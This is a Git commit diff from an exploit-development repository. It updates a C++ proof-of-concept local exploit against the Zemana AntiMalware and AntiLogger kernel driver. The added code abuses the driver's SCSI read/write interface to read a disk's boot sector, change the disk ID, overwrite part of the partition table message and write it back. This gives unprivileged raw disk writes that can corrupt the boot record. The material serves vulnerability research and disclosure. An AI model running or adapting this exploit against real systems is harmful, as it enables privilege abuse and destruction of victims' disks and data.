admin/VoidSec-Exploit-Development
1
0
Fork 0
mirror of https://github.com/VoidSec/Exploit-Development synced 2026-06-08 12:50:18 +00:00
Code Issues Packages Projects Releases Wiki Activity

update

Browse Source
This commit is contained in:
Paolo 'VoidSec' Stagno
2023-06-14 13:59:32 +02:00
parent e63cd90233
commit 7ecdf08824
2 changed files with 16 additions and 4 deletions
Download Patch File Download Diff File Expand all files Collapse all files
windows/x64/kernel/Zemana_AntiMalware_AntiLogger/driver/zam64.sys.i64
BIN
View File
Binary file not shown.
windows/x64/kernel/Zemana_AntiMalware_AntiLogger/exploit/Zemana_AntiMalware_AntiLogger_SCSI_RW_PoC.cpp
+16 -4
View File
@@ -4,9 +4,9 @@ Exploit Author: Paolo Stagno aka VoidSec - voidsec@voidsec.com - https://voi
Date: 12/06/2023
Vendor Homepage: https://zemana.com/
Download: https://zemana.com/downloads/Zemana.AntiMalware.Setup.exe
https://zemana.com/downloads/Zemana.AntiLogger.Setup.exe
Affected Version: Zemana AntiMalware v. <= 3.2.28
Zemana AntiLogger v. <= 2.74.204.664
https://zemana.com/downloads/Zemana.AntiLogger.Setup.exe
Affected Version: Zemana AntiMalware v. <= 3.2.28
Zemana AntiLogger v. <= 2.74.204.664
CVE: CVE-2023-XXXX
Tested on: Windows 11 Pro x64 v.22621.1778
Category: local exploit
@@ -166,18 +166,30 @@ int main(int argc, char** argv) {
return -1;
}
std::cout << "\t[+] Disk ID: 0x" << *(ULONG32*)(lpInBuffer + 440) << std::endl;
std::cout << "\t[+]SCSI disk dump" << std::endl;
std::cout << "\t[+] SCSI disk dump" << std::endl;
hex_dump(std::cout, lpInBuffer, sizeof(lpInBuffer));
std::cout << "\n[-] SCSI Disk Write" << std::endl;
std::cout << "\t[-] Incrementing Disk ID" << std::endl;
(*(ULONG32*)(lpInBuffer + 440))++;
std::cout << "\t[-] Overwriting Partition Table Error Message with 'VoidSec'" << std::endl;
memcpy(lpInBuffer + 0x163, "VoidSec", 7);
success = SCSI_RW(hDevice, 0, 0, lpInBuffer, TRUE);
if (!success) {
std::cout << "\t[!] Failed to write to SCSI disk. Error code: " << ::GetLastError() << std::endl;
return -1;
}
std::cout << "\t[+] SCSI Write successful! Disk ID is now: 0x" << *(ULONG32*)(lpInBuffer + 440) << std::endl;
// reading back partition table
success = SCSI_RW(hDevice, 0, 0, lpInBuffer, FALSE);
if (!success) {
std::cout << "\t[!] Failed to read from SCSI disk. Error code: " << ::GetLastError() << std::endl;
return -1;
}
std::cout << "\t[+] SCSI disk dump" << std::endl;
hex_dump(std::cout, lpInBuffer, sizeof(lpInBuffer));
CloseHandle(hDevice);
return 0;